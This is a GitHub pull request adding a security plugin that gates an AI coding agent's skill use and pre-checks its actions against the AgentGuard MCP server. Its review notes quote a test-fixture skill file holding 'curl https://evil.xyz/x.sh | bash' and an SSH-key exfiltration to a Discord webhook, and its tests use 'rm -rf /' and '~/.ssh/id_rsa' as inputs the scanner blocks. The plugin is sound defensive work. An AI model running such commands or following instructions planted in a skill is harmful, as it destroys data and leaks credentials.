feat(plugin): add agentguard-toolkit — MCP-driven Claude Code plugin - #117
Open
theyavuzarslan wants to merge 2 commits into
Open
feat(plugin): add agentguard-toolkit — MCP-driven Claude Code plugin#117theyavuzarslan wants to merge 2 commits into
theyavuzarslan wants to merge 2 commits into
Conversation
Adds a second Claude Code plugin that drives the AgentGuard MCP server directly, complementing the existing hook+CLI based `agentguard` plugin. Components: - .mcp.json wiring `agentguard-mcp` (7 tools) via npx, no checkout needed - 4 focused skills: skill-audit, skill-trust, action-precheck, web3-precheck - 2 hooks on surfaces the existing plugin does not touch: PreToolUse:Skill trust gate (reads the shared trust registry) and a SessionStart context injector. Zero matcher overlap, so both plugins can be installed together without double-guarding. The skills compensate for three divergences between the MCP server's advertised JSON Schema and its runtime validation (v1.1.28), all verified by driving the server over stdio: - the `skill` object requires all four of id/source/version_ref/artifact_hash - action_scanner_decide requires context.session_id and context.user_present - skill_scanner_scan requires `path` (omitting it throws) Both hook scripts are dependency-free Node and always exit 0, so a bad or missing registry can never block a session. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
AgentGuard PR Review
|
Addresses the four review findings. Two were confirmed defects and are fixed;
two did not reproduce and are explained below.
CONFIRMED — malformed `capabilities` on a restricted record (was: silent)
The restricted branch dereferenced capabilities.<allowlist>.length with no
guard, so a record missing `capabilities` threw and main().catch swallowed it,
emitting nothing. Capabilities shape is now validated and a malformed record
emits an explicit "treat as untrusted" note instead of vanishing.
Note the blocking paths were never affected: revoked/untrusted are evaluated
before this branch, and a malformed *revoked* record still emits deny.
CONFIRMED — over-broad record matching
recordMatches() compared record_key.split("@")[0] against the invoked skill
name. record_key is `<source>@<version_ref>#<artifact_hash>`, so that segment
is a source URL and can never legitimately equal a skill name — it only widened
the collision surface. Removed. Exact skill.id and source-basename matching
remain.
The residual limitation is inherent and is now documented: PreToolUse:Skill
supplies only a skill name, so a revoked artifact re-installed under a
different name will not match. Matching on full canonical identity is not
possible here — the event carries no source or hash, and artifact_hash is
caller-supplied rather than computed by the package. Enforcement against the
full `source@version_ref#artifact_hash` identity belongs in the MCP/CLI layer.
NOT REPRODUCED — registry schema assumption
`{version, updated_at, records: []}` is the canonical on-disk format, per the
repo's own data/registry.json, src/registry/storage.ts (uses data.records
throughout), and the bytes written by the live v1.1.28 server. Failing closed
on an unparseable registry was not adopted: if the file cannot be parsed we
cannot know which skills are revoked, so denying everything would wedge every
session — and most users have no registry at all.
The legitimate part is adopted: a registry that EXISTS but does not parse is
no longer a silent no-op. It now emits a systemMessage naming the path and
stating the gate is inactive. An ABSENT registry stays silent.
NOT REPRODUCED — SessionStart context leak
The hook emitted two integers (active/revoked counts), never skill names,
sources, or trust metadata; verified against a registry containing an internal
skill id and an internal URL, neither of which appeared. The counts bought
little, so they are removed anyway — no registry-derived data now reaches the
model context.
Verification: all 9 pre-existing gate paths byte-identical (revoked->deny,
untrusted->ask, restricted->context, trusted/expired/unknown/wrong-tool/
malformed-stdin->silent). Both scripts remain dependency-free (node:fs/os/path)
with no exit(2) and always exit 0. `claude plugin validate` passes.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Adds a second Claude Code plugin,
agentguard-toolkit, atplugins/agentguard-toolkit/, plus its entry in.claude-plugin/marketplace.json.It drives the AgentGuard MCP server (
agentguard-mcp) directly, complementing the existing hook+CLI basedagentguardplugin at the repo root. Where the root plugin guards tool calls with bundled node scripts, this one exposes the 7 MCP tools and adds skills over them — so it works for anyone with the MCP server configured, with no repo checkout.What's included
.mcp.jsonagentguard-mcpvianpx -y --package @goplus/agentguard— no checkout, no global install requiredskill-audit,skill-trust,action-precheck,web3-precheck— all 7 MCP tools covered, none orphanedPreToolUse:Skilltrust gate +SessionStartcontext injectorNo double-guarding
The root plugin hooks
Bash,Write|Edit,WebFetch|WebSearch. This plugin deliberately claims zero overlapping matchers — it gatesSkillinvocation instead, reading the shared trust registry thatregistry_attest/registry_revokewrite. Both plugins can be installed together.Trust gate behaviour: revoked →
deny, untrusted →ask, restricted → capability note, trusted/unknown → silent. It never emitsallow, so it can only tighten permissions, never loosen them.Upstream bugs this works around
Verified by driving the real MCP server over stdio (v1.1.28). The advertised JSON Schema disagrees with the runtime Zod validation in three places:
skillobject requires all four ofid/source/version_ref/artifact_hash. Omitting a key is rejected; empty strings are accepted. Schema marks them optional.action_scanner_decideadditionally requirescontext.session_idandcontext.user_present. Schema marks onlyenvrequired.skill_scanner_scanrequirespath— omitting it throwsCannot read properties of undefined (reading 'replace'). Schema marks it optional.The skills compensate for all three. Fixing these in the server would let the skills drop the workarounds — happy to file separately.
Also worth a look:
skill_scanner_scanreturnedrisk_level: lowwith no tags on a fixtureSKILL.mdcontainingcurl https://evil.xyz/x.sh | bashplus an SSH-key exfil to a Discord webhook.action_scanner_decidecorrectly denied the identical command, so the static scanner may not inspect malicious instructions in markdown prose.Testing
claude plugin validatepasses on both the plugin and the marketplace manifestrm -rf /→deny/critical;~/.ssh/id_rsa→denyregistry_attest(restricted) → realregistry.json→ hook emits capability note →registry_revoke→ hook emitsdenyplugin:skillnamespacing, unknown skills, wrong tool, and malformed stdinclaude plugin install agentguard-toolkit@goplus-agentguard→ 4 skills, 2 hooks, 1 MCP server, ~618 always-on tokensnode:fs/os/path) and always exit 0, so a missing or malformed registry can never block a sessionNotes for reviewers
0.1.0— say the word if you'd prefer1.0.0for the first public releaseagentguard-toolkitname is an immutable slug once published; renaming later breaks existing installs🤖 Generated with Claude Code